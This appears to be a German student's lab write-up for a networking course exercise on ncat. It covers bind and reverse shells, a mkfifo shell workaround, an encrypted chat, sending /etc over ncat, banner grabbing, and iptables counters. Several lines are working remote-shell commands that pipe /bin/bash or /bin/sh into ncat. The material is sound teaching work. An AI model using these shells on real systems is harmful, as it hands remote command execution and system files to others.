Übung 4

1.1 Create a bind-shell on the host netcat is in server (listening) mode. A bind-shell allows netcat clients to use a server-side shell (execute commands on the server).

Setup Host:

- ncat -lvp 65000 -e /bin/bash
  l: listen
  v: verbose: gibt auch Fehlermeldungen oder wenn die Verbindung aufgebaut wird aus.
  p: on port ...
  Host horcht auf Port 65000 und führt die Shell nach ausführung des Befehls aus.

Setup Client:

- ncat localhost 65000
  Client verbindet sich mit Host auf Port 65000 und kann Befehle auf dessen Shell ausführen.

1.2 Create a reverse-shell. A reverse shell is the counterpart of a bind-shell, and allows the server (!) to execute commands on the client.

Setup Host:

- ncat -lvp 65000
  Host wartet auf Client Verbindung, wenn Verbindung steht, kann Host Befehle auf Client Shell ausführen.

Setup Client

- ncat -c /bin/bash localhost 65000
- c: führt erhaltenen Befehl in bin/bash aus
  Verbindet sich zu Host.

1.3 Can these shells be used when server and client are using different OSs?

Eine Reverse Shell ist möglich, wenn der Host ein Windows System ist und der Client ein Linux System, da die bash auf Linux ausgeführt wird.
Umgekehrt nicht möglich, da Windows keine Bash besitzt.

1.4 Can (1.1) and/or (1.2) used with UDP?

ncat besitzt eine -u option, welche es ermöglicht UDP anstatt von TCP zu verwenden.
Es müssen jedoch Host und Client die Option aktiviert haben.

z.B.:
Host

- ncat -lvup 65000 -e /bin/bash

Client

- ncat -u localhot 65000

Dies funktioniert bei reverse shell jedoch nicht -> Befehle werden nicht mehr ausgeführt.

2. Construct server and client netcat command-lines which resemble simple a text-chat.

— Chat must be accessible to multiple clients simultaneously

— All clients must receive all messages from all other clients

— All traffic must be encrypted at all times

— Chat server must only allow predefined IPs

— Server must keep a central chat log

Setup Host:

- ncat --chat --allow localhost --ssl -o output.txt -lvp 65000
- chat: startet simplem ncat Chat Server
- allow localhost: IP Adresse des Server um sich darauf zu verbinden (hier localhost)
- ssl: Verbinden und "listen" mit SSL
- o: gibt die Daten von der Session (Chat Nachrichten, Errors, Connect messages etc) in file aus (hier output.txt).

Mit Client verbinden

- ncat --ssl localhost 65000

3.What does the following command-line do?

while $(ncat -lp 8080 -c 'ncat localhost 80'); do true; done

Es wird durch die while Schleife kontinuirlich auf dem Port 8080 gehört. Wenn Anfragen auf diesen Port eintreffen werden diese an den Port 80 (HTTP Port) weiter geleitet.

4. Due to security awareness, some netcat versions prevent using the -e option (route input data to process stdin).

However, there is a work-around for establishing bind-shells nevertheless (server-side)

mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | ncat -lp 1234 > /tmp/f

Deconstruct this command and explain exactly what each element is doing.

- **mkfifo /tmp/f**
  Erzeugt eine FIFO ("First In First Out Queue") im Verzeichnis /tmp mit dem namen f
- **cat /tmp/f | /bin/sh -i 2>&1 | ncat -lp 1234 > /tmp/f**
  cat /tmp/f | /bin/sh -i 2>&1 liest aus der Warteschlange aus und leitet das ausgelesene weiter an Shell die mit –i (interactive: User kann mit Shell interagieren und Befehle können ausgeführt werden) ausgeführt wird.
  ncat -lp 1234 > /tmp/f es wird durch ncat auf dem port 1234 gelistened. Alle erhaltenen Anfragen werden in die Warteschlange f geschrieben.

5. Use ncat to fetch your e-mails from your FH mail account via IMAP. See https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol for how the IMAP protocol works.

Bei der Verwendung von IMAPS wird die Verbindung zum Server bereits während des Verbindungsaufbaus durch SSL verschlüsselt. Damit der Server das erkennt, muss ein anderer Port verwendet werden. Dafür wurde der **Port 993** reserviert.

- ncat imaps.fh-ooe.at 993 --ssl -v
- a login s1510237001 password
- a select inbox
- a fetch 274 full

6. Use the ncat and tar commands to copy the entire contents of your /etc/ directory from your computer to one of your colleagues. The file transfer must be encrypted and compressed. The compression must be done on-the-fly and must not consume additional disk space on the sending client. The receiver must decompress on-the-fly to a predefined sub-directory in his/her home directory. Both sender and client must only issue one single command-line (Enter key only

pressed once).

Dieses Beispiel wurde lokal getestet, da wird keine Verbindung von zwei verschiedenen VMs zusammengebracht haben.

Host:

- ncat --ssl -lvp 65000 | tar zx -C ./

-C um einen Speicherpfad anzugeben

Client:

- sudo tar zcf - "/etc" | ncat localhost 65000 --ssl

7. Create a very simple shell-script, which iterates over URLs of web-servers in a given text-file (one per line), and use ncat to grab the webserver's banner (Hint: use the HTTP HEAD command). Grab the Server: line from each response, and store them in a dedicated text-file on your system.

siehe bannerScript.sh + dessen output file "banner.txt"

Which webserver software is used most often, and on what sites? Which ones are used least often?
Most often: 4 x Apache on:

- orf.at,
- diepresse.com,
- heise.de,
- bild.de

Least often:

- **shield** on golem.de
- **Gatling/0.16** on blog.fefe.de
- **Microsoft-HTTPAPI/2.0** on derstandard.at

8.

```
[dabinder@David ~]$ sudo iptables -I INPUT 1 --source localhost -j ACCEPT
[sudo] password for dabinder:
[dabinder@David ~]$ sudo iptables -I OUTPUT 1 --destination 10.0.2.15 -j ACCEPT
[dabinder@David ~]$ sudo iptables -Z
[dabinder@David ~]$ nmap -p- 10.0.2.15

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-21 18:05 CET
Nmap scan report for 10.0.2.15
Host is up (0.000058s latency).
All 65535 scanned ports on 10.0.2.15 are closed
```

```
Nmap done: 1 IP address (1 host up) scanned in 1.11 seconds
[dabinder@David ~]$ sudo iptables -vn -L
Chain INPUT (policy ACCEPT 131K packets, 6554K bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     all  --  *      *       127.0.0.1            0.0.0.0/0
    0     0 ACCEPT     all  --  *      *       127.0.0.1            0.0.0.0/0

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 8 packets, 513 bytes)
 pkts bytes target     prot opt in     out     source               destination
 131K 6554K ACCEPT     all  --  *      *       0.0.0.0/0            10.0.2.15
```

8.1 How many packets have been sent?

131K packets

8.2 How many traffic has been generated (bytes)?

6554K bytes